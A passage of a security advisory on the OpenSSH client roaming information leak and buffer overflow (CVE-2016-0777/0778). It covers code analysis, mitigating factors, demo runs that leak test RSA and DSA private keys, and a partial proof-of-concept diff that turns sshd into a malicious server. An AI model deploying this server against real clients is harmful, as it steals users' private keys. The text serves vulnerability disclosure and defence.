uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg== -----END RSA PRIVATE KEY-----
"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1 [connection suspended, press return to resume]Segmentation fault (core dumped)
(this example requires a ProxyCommand because of the NULL-aitop bug described in the Mitigating Factors of the Information Leak section, and crashes because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section)
cat /tmp/roaming-a5eca355/infoleak
ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V 8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
Private Key Disclosure example: CentOS 7, 1024-bit DSA key
$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="CentOS Linux 7 (Core)"
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2 hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4= -----END DSA PRIVATE KEY-----
env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 ...
strings /tmp/roaming-b7b16dfc/infoleak
jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5
strings /tmp/roaming-b324ce87/infoleak
IuQL R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9v
strings /tmp/roaming-24011739/infoleak
KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC
strings /tmp/roaming-37456846/infoleak
LsBlstpuQ4Hr2DHmalL8X iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA yq4Kwj/
strings /tmp/roaming-988ff54c/infoleak
GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
strings /tmp/roaming-53887fa5/infoleak
/4oatxFUV5V8aniqyq4Kwj/ QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS F9AoVoZFKEGn4FEoYIqY3a4
Private Key Disclosure example: Fedora 20, 2048-bit RSA key
$ grep PRETTY_NAME= /etc/os-release PRETTY_NAME="Fedora 20 (Heisenbug)"
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ /B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy 2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5 r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+ ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU= -----END RSA PRIVATE KEY-----
env ROAMING="heap_massaging:linux" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 ...
strings /tmp/roaming-a2bbc5f6/infoleak
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG
strings /tmp/roaming-47b46456/infoleak
RGAcE0nc GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o 6GEmk/oB9
strings /tmp/roaming-7a6717ae/infoleak
cawMW4LZ1 Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p
strings /tmp/roaming-f3091f08/infoleak
lZ3w0qHe nSolsDs2k8wHbVP4VtLE8l PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
strings /tmp/roaming-62a9e9a3/infoleak
lZ3w0qHe r3TwTa0pPEk11 LbcsTEJ rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo /euhzdYixxIkfqyopnYFoER26u37/OHe37P
strings /tmp/roaming-8de31ed5/infoleak
7qyvNznQ 26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
strings /tmp/roaming-f5e0fbcc/infoleak
yESI62wOuaY vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y 3fBC3h9BN5banCw6VKfnvm8/q+bwSxS
strings /tmp/roaming-9be933df/infoleak
QRtzK/GpRuMC1 C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT
strings /tmp/roaming-ee4d1e6c/infoleak
SG3aTqYp tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s
strings /tmp/roaming-c2bfd69c/infoleak
SG3aTqYp 6JmTOun5zVV6A H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s
strings /tmp/roaming-2b3217a1/infoleak
DGLfFGdO r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ
strings /tmp/roaming-1e275747/infoleak
g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
======================================================================== Buffer Overflow (CVE-2016-0778) ========================================================================
Analysis
Support for roaming was elegantly added to the OpenSSH client: the calls to read() and write() that communicate with the SSH server were replaced by calls to roaming_read() and roaming_write(), two wrappers that depend on wait_for_roaming_reconnect() to transparently reconnect to the server after a disconnection. The wait_for_roaming_reconnect() routine is essentially a sequence of four subroutines:
239 int 240 wait_for_roaming_reconnect(void) 241 { ... 250 fprintf(stderr, "[connection suspended, press return to resume]"); ... 252 packet_backup_state(); 253 / TODO Perhaps we should read from tty here / 254 while ((c = fgetc(stdin)) != EOF) { ... 259 if (c != '\n' && c != '\r') 260 continue; 261 262 if (ssh_connect(host, &hostaddr, options.port, ... 265 options.proxy_command) == 0 && roaming_resume() == 0) { 266 packet_restore_state(); ... 268 fprintf(stderr, "[connection resumed]\n"); ... 270 return 0; 271 } 272 273 fprintf(stderr, "[reconnect failed, press return to retry]"); ... 275 } 276 fprintf(stderr, "[exiting]\n"); ... 278 exit(0); 279 }
-
packet_backup_state() close()s connection_in and connection_out (the old file descriptors that connected the client to the server), and saves the state of the suspended SSH session (for example, the encryption and decryption contexts).
-
ssh_connect() opens new file descriptors, and connects them to the SSH server.
-
roaming_resume() negotiates the resumption of the suspended SSH session with the server, and calls resend_bytes().
-
packet_restore_state() updates connection_in and connection_out (with the new file descriptors that connect the client to the server), and restores the state of the suspended SSH session.
The new file descriptors for connection_in and connection_out may differ from the old ones (if, for example, files or pipes or sockets are opened or closed between two successive ssh_connect() calls), but unfortunately historical code in OpenSSH assumes that they are constant:
-
In client_loop(), the variables connection_in and connection_out are cached locally, but packet_write_poll() calls roaming_write(), which may assign new values to connection_in and connection_out (if a reconnection occurs), and client_wait_until_can_do_something() subsequently reuses the old, cached values.
-
client_loop() eventually updates these cached values, and the following FD_ISSET() uses a new, updated file descriptor (the fd connection_out), but an old, out-of-date file descriptor set (the fd_set writeset).
-
packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API) first calloc()ates setp, a file descriptor set for connection_in; next, it loops around memset(), FD_SET(), select() and roaming_read(); last, it free()s setp and returns. Unfortunately, roaming_read() may reassign a higher value to connection_in (if a reconnection occurs), but setp is never enlarged, and the following memset() and FD_SET() may therefore overflow setp (a heap-based buffer overflow):
1048 int 1049 packet_read_seqnr(u_int32_t seqnr_p) 1050 { .... 1052 fd_set setp; .... 1058 setp = (fd_set )xcalloc(howmany(active_state->connection_in + 1, 1059 NFDBITS), sizeof(fd_mask)); .... 1065 for (;;) { .... 1075 if (type != SSH_MSG_NONE) { 1076 free(setp); 1077 return type; 1078 } .... 1083 memset(setp, 0, howmany(active_state->connection_in + 1, 1084 NFDBITS) * sizeof(fd_mask)); 1085 FD_SET(active_state->connection_in, setp); .... 1092 for (;;) { .... 1097 if ((ret = select(active_state->connection_in + 1, setp, 1098 NULL, NULL, timeoutp)) >= 0) 1099 break; .... 1115 } .... 1117 do { .... 1119 len = roaming_read(active_state->connection_in, buf, 1120 sizeof(buf), &cont); 1121 } while (len == 0 && cont); .... 1130 } 1131 / NOTREACHED */ 1132 }
- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is basically similar to packet_read_seqnr() and may overflow its own setp if roaming_write() (called by packet_write_poll()) reassigns a higher value to connection_out (after a successful reconnection):
1739 void 1740 packet_write_wait(void) 1741 { 1742 fd_set setp; .... 1746 setp = (fd_set )xcalloc(howmany(active_state->connection_out + 1, 1747 NFDBITS), sizeof(fd_mask)); 1748 packet_write_poll(); 1749 while (packet_have_data_to_write()) { 1750 memset(setp, 0, howmany(active_state->connection_out + 1, 1751 NFDBITS) * sizeof(fd_mask)); 1752 FD_SET(active_state->connection_out, setp); .... 1758 for (;;) { .... 1763 if ((ret = select(active_state->connection_out + 1, 1764 NULL, setp, NULL, timeoutp)) >= 0) 1765 break; .... 1776 } .... 1782 packet_write_poll(); 1783 } 1784 free(setp); 1785 }
Mitigating Factors
This buffer overflow affects all OpenSSH clients >= 5.4, but its impact is significantly reduced by the Mitigating Factors detailed in the Information Leak section, and additionally:
- OpenSSH versions >= 6.8 reimplement packet_backup_state() and packet_restore_state(), but introduce a bug that prevents the buffer overflow from being exploited; indeed, ssh_packet_backup_state() swaps two local pointers, ssh and backup_state, instead of swapping the two global pointers active_state and backup_state:
9 struct ssh active_state, backup_state; ... 238 void 239 packet_backup_state(void) 240 { 241 ssh_packet_backup_state(active_state, backup_state); 242 } 243 244 void 245 packet_restore_state(void) 246 { 247 ssh_packet_restore_state(active_state, backup_state); 248 }
2269 void 2270 ssh_packet_backup_state(struct ssh ssh, 2271 struct ssh backup_state) 2272 { 2273 struct ssh tmp; .... 2279 if (backup_state) 2280 tmp = backup_state; 2281 else 2282 tmp = ssh_alloc_session_state(); 2283 backup_state = ssh; 2284 ssh = tmp; 2285 } .... 2291 void 2292 ssh_packet_restore_state(struct ssh ssh, 2293 struct ssh backup_state) 2294 { 2295 struct ssh tmp; .... 2299 tmp = backup_state; 2300 backup_state = ssh; 2301 ssh = tmp; 2302 ssh->state->connection_in = backup_state->state->connection_in;
As a result, the global pointer backup_state is still NULL when passed to ssh_packet_restore_state(), and crashes the OpenSSH client when dereferenced:
env ROAMING="overflow:A fd_leaks:0" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1
$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Segmentation fault (core dumped)
This bug prevents the buffer overflow from being exploited, but not the information leak, because the vulnerable function resend_bytes() is called before ssh_packet_restore_state() crashes.
File Descriptor Leak
A back-of-the-envelope calculation indicates that, in order to increase the file descriptor connection_in or connection_out, and thus overflow the file descriptor set setp in packet_read_seqnr() or packet_write_wait(), a file descriptor leak is needed:
-
First, the number of bytes calloc()ated for setp is rounded up to the nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors) on 64-bit systems.
-
Next, in glibc, this number is rounded up to the nearest multiple of MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit systems.
-
Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit systems, of which 24 bytes (or 192 file descriptors) are reserved for setp.
-
In conclusion, a file descriptor leak is needed, because connection_in or connection_out has to be increased by hundreds in order to overflow setp.
The search for a suitable file descriptor leak begins with a study of the behavior of the four ssh_connect() methods, when called for a reconnection by wait_for_roaming_reconnect():
- The default method ssh_connect_direct() communicates with the server through a simple TCP socket: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.
In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old TCP socket is close()d by packet_backup_state(), but immediately reused for the new TCP socket in ssh_connect_direct(): the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.
-
The special ProxyCommand "-" communicates with the server through stdin and stdout, but (as explained in the Mitigating Factors of the Information Leak section) it cannot possibly reconnect to the server, and is therefore immune to this buffer overflow.
-
Surprisingly, we discovered a file descriptor leak in the ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor sp[1] is never close()d:
101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 106 int sp[2], sock; ... 113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0) 114 fatal("Could not create socketpair to communicate with " 115 "proxy dialer: %.100s", strerror(errno)); ... 161 close(sp[0]); ... 164 if ((sock = mm_receive_fd(sp[1])) == -1) 165 fatal("proxy dialer did not pass back a connection"); ... 171 / Set the connection file descriptors. / 172 packet_set_connection(sock, sock); 173 174 return 0; 175 }
However, two different reasons prevent this file descriptor leak from triggering the setp overflow:
- The method ssh_proxy_fdpass_connect() communicates with the server through a single socket received from the ProxyCommand: the two file descriptors connection_in and connection_out are both equal to this socket's file descriptor.
In wait_for_roaming_reconnect(), the low-numbered file descriptor of the old socket is close()d by packet_backup_state(), reused for sp[0] in ssh_proxy_fdpass_connect(), close()d again, and eventually reused again for the new socket: the new file descriptors connection_in and connection_out are equal to this old, low-numbered file descriptor, and cannot possibly overflow setp.
-
Because of the waitpid() bug described in the Mitigating Factors of the Information Leak section, the method ssh_proxy_fdpass_connect() calls fatal() before it returns to wait_for_roaming_reconnect(), and is therefore immune to this buffer overflow.
-
The method ssh_proxy_connect() communicates with the server through a ProxyCommand and two different pipes: the file descriptor connection_in is the read end of the second pipe (pout[0]), and the file descriptor connection_out is the write end of the first pipe (pin[1]):
180 static int 181 ssh_proxy_connect(const char host, u_short port, const char proxy_command) 182 { ... 184 int pin[2], pout[2]; ... 192 if (pipe(pin) < 0 || pipe(pout) < 0) 193 fatal("Could not create pipes to communicate with the proxy: %.100s", 194 strerror(errno)); ... 240 / Close child side of the descriptors. / 241 close(pin[0]); 242 close(pout[1]); ... 247 / Set the connection file descriptors. / 248 packet_set_connection(pout[0], pin[1]); 249 250 / Indicate OK return / 251 return 0; 252 }
In wait_for_roaming_reconnect(), the two old, low-numbered file descriptors connection_in and connection_out are both close()d by packet_backup_state(), and immediately reused for the pipe(pin) in ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of these old, low-numbered file descriptors, and cannot possibly overflow setp.
On the other hand, the pipe(pout) in ssh_proxy_connect() may return high-numbered file descriptors, and the new connection_in (pout[0]) may therefore overflow setp, if hundreds of file descriptors were leaked before the call to wait_for_roaming_reconnect():
- We discovered a file descriptor leak in the pubkey_prepare() function of OpenSSH >= 6.8; indeed, if the client is running an authentication agent that does not offer any private keys, the reference to agent_fd is lost, and this file descriptor is never close()d:
1194 static void 1195 pubkey_prepare(Authctxt *authctxt) 1196 { .... 1200 int agent_fd, i, r, found; .... 1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) { 1248 if (r != SSH_ERR_AGENT_NOT_PRESENT) 1249 debug("%s: ssh_get_authentication_socket: %s", 1250 func, ssh_err(r)); 1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) { 1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES) 1253 debug("%s: ssh_fetch_identitylist: %s", 1254 func, ssh_err(r)); 1255 } else { .... 1288 authctxt->agent_fd = agent_fd; 1289 } .... 1299 }
However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state() (because of the NULL-pointer dereference discussed in the Mitigating Factors of the Buffer Overflow section) and are immune to the setp overflow, despite this agent_fd leak.
- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH client (it is disabled by default), a malicious SSH server can request hundreds of forwardings, in order to increase connection_in (each forwarding opens a file descriptor), and thus overflow setp in packet_read_seqnr():
env ROAMING="overflow:A" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014
$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 *** Aborted (core dumped)
env ROAMING="overflow:X" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
*** Error in /usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***
*** Error in/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***
Finally, a brief digression on two unexpected problems that had to be solved in our proof-of-concept:
-
First, setp can be overflowed only in packet_read_seqnr(), not in packet_write_wait(), but agent forwarding and X11 forwarding are post- authentication functionalities, and post-authentication calls to packet_read() or packet_read_expect() are scarce, except in the key-exchange code of OpenSSH clients < 6.8: our proof-of-concept effectively forces a rekeying in order to overflow setp in packet_read_seqnr().
-
Second, after a successful reconnection, packet_read_seqnr() may call fatal("Read from socket failed: %.100s", ...), because roaming_read() may return EAGAIN (EAGAIN is never returned without the reconnection, because the preceding call to select() guarantees that connection_in is ready for read()). Our proof-of-concept works around this problem by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server, allowing data to reach the client before roaming_read() is called, thus avoiding EAGAIN.
======================================================================== Acknowledgments ========================================================================
We would like to thank the OpenSSH developers for their great work and their incredibly quick response, Red Hat Product Security for promptly assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall Project for the interesting discussions.
======================================================================== Proof Of Concept ========================================================================
diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c --- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700 +++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800 @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt authctxt) * if a user is not allowed to login. is this an * issue? -markus / - if (PRIVSEP(user_key_allowed(authctxt->pw, key))) { + if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) { + debug("%s: force client-side load_identity_file", + func); packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c --- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700 +++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800 @@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX], }
static void +roaming_reconnect(void) +{ + packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME); + const u_int id = packet_get_int(); / roaming_id / + debug("%s: id %u", func, id); + packet_check_eom(); + + const char const dir = get_roaming_dir(id); + debug("%s: dir %s", func, dir); + const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, dir, errno); + if (fchdir(fd) != 0) + fatal("%s: fchdir %s errno %d", func, dir, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, dir, errno); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED); + packet_put_int64(arc4random()); / chall / + packet_put_int64(arc4random()); / oldchall / + packet_send(); + + packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH); + const u_int64_t client_read_bytes = packet_get_int64(); + debug("%s: client_read_bytes %llu", func, + (unsigned long long)client_read_bytes); + packet_get_int64(); / digest (1-8) / + packet_get_int64(); / digest (9-16) / + packet_get_int(); / digest (17-20) / + packet_check_eom(); + + u_int64_t client_write_bytes; + size_t len = sizeof(client_write_bytes); + load_roaming_file("client_write_bytes", &client_write_bytes, &len); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + + u_int client_out_buf_size; + len = sizeof(client_out_buf_size); + load_roaming_file("client_out_buf_size", &client_out_buf_size, &len); + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF) + fatal("%s: client_out_buf_size %u", func, + client_out_buf_size); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK); + packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size); + packet_send(); + const int overflow = (access("output", F_OK) == 0); + if (overflow != 0) { + const void const ptr = load_roaming_file("output", NULL, &len); + buffer_append(packet_get_output(), ptr, len); + } + packet_write_wait(); + + char const client_out_buf = xmalloc(client_out_buf_size); + if (atomicio(read, packet_get_connection_in(), client_out_buf, + client_out_buf_size) != client_out_buf_size) + fatal("%s: read client_out_buf_size %u errno %d", func, + client_out_buf_size, errno); + if (overflow == 0) + dump_roaming_file("infoleak", client_out_buf, + client_out_buf_size); + fatal("%s: all done for %s", func, dir); +} + +static void kex_choose_conf(Kex kex) { Newkeys newkeys; @@ -470,6 +537,10 @@ kex_choose_conf(Kex kex) kex->roaming = 1; free(roaming); } + } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) { + roaming_reconnect(); + / NOTREACHED / + fatal("%s: returned from %s", func, KEX_RESUME); }
/* Algorithm Negotiation */
diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h --- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800 +++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800 @@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t ); void calculate_new_key(u_int64_t , u_int64_t, u_int64_t); int resume_kex(void);
